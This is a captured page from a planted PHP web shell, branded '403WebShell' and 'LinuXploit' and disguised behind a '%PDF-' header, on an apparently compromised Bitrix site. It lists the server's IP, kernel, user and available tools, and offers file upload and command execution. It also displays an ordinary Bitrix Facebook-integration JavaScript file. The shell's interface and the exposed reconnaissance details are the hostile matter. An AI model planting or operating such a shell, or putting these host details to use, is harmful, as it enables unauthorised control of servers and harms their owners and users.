%PDF- %PDF- 403WebShell
403Webshell
Server IP : 37.220.80.31  /  Your IP : 3.144.224.32
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64
User : www-root ( 1010)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/www-root/data/www/dev.artlot24.ru/bitrix/js/landing/ui/panel/formsettingspanel/content/facebook/src/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/js/landing/ui/panel/formsettingspanel/content/facebook/src/facebook.js
import {ContentWrapper} from 'landing.ui.panel.basepresetpanel';
import {HeaderCard} from 'landing.ui.card.headercard';
import {Loc} from 'landing.loc';
import {BaseCard} from 'landing.ui.card.basecard';
import {Dom} from 'main.core';
import {BaseEvent} from 'main.core.events';
import {type FormOptions} from 'crm.form.type';
import {MessageCard} from 'landing.ui.card.messagecard';
import {Integration} from 'crm.form.integration';

export default class FacebookContent extends ContentWrapper
{
	constructor(options)
	{
		super(options);
		this.setEventNamespace('BX.Landing.UI.Panel.FormSettingsPanel.FacebookContent');

		this.addItem(
			new HeaderCard({
				title: Loc.getMessage('LANDING_SIDEBAR_BUTTON_FACEBOOK'),
			}),
		);

		if (!this.options.dictionary.integration.canUse)
		{
			this.addItem(
				new MessageCard({
					header: Loc.getMessage('LANDING_CRM_FORM_INTEGRATION_SEO_NOT_INSTALLED_HEADER'),
					description: Loc.getMessage('LANDING_CRM_FORM_INTEGRATION_SEO_NOT_INSTALLED_FB_TEXT'),
					angle: false,
					closeable: false,
				}),
			);

			return;
		}

		const buttonCard = new BaseCard();
		Dom.style(buttonCard.getLayout(), {
			padding: 0,
			margin: 0,
		});

		const integration = new Integration({
			type: 'facebook',
			form: this.options.formOptions,
			fields: this.options.crmFields,
			dictionary: this.options.dictionary,
		});
		integration.subscribe('change', this.onChange.bind(this));
		Dom.append(
			integration.render(),
			buttonCard.getBody()
		);
		this.addItem(buttonCard);
	}

	prepareButtonText(formOptions: FormOptions)
	{
		const enabled = formOptions.integration.cases.some((item) => {
			return item.providerCode === 'facebook';
		});

		if (enabled)
		{
			return Loc.getMessage('LANDING_FORM_SETTINGS_FACEBOOK_BUTTON_ENABLED');
		}

		return Loc.getMessage('LANDING_FORM_SETTINGS_FACEBOOK_BUTTON');
	}

	valueReducer(value: {[key: string]: any}): {[key: string]: any}
	{
		return {
			integration: this.options.formOptions.integration,
		};
	}

	onChange(event: BaseEvent)
	{
		this.emit('onChange', {skipPrepare: false});
	}

	getData()
	{
		return this.options.formOptions.integration.cases.filter(data => data.providerCode === 'facebook')[0] || null;
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit